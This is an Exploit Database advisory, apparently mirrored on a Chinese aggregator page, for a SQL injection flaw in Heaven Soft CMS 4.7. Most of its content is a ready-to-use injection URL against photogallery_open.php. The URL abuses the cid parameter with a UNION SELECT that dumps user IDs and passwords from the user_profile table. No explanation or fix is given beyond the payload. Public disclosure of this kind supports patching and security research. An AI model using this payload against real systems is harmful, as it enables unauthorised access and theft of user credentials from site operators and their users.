Heaven Soft CMS 4.7 – ‘photogallery_open.php’ SQL Injection

• Exploit Database
• 9 阅读

• 作者： CoBRa_21
  日期： 2010-05-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12608/

• -------------------------------------------------------------------------------------------
   
  Heaven Soft CMS v 4.7 (photogallery_open.php) SQL Injection Vulnerability
   
  -------------------------------------------------------------------------------------------
   
  Author: CoBRa_21
   
  Mail: uyku_cu@windowslive.com
   
  Script Home: http://www.heavensoft.com.pk/
  
  -------------------------------------------------------------------------------------------
   
  Sql Injection:
   
  http://localhost/[path]/photogallery_open.php?cid=-10%20union%20select%20group_concat%28user_id,0x3a,password%29+from+user_profile--
  
  -------------------------------------------------------------------------------------------
  
  Melekler Bize Aglar , Biz Halimize Guleriz......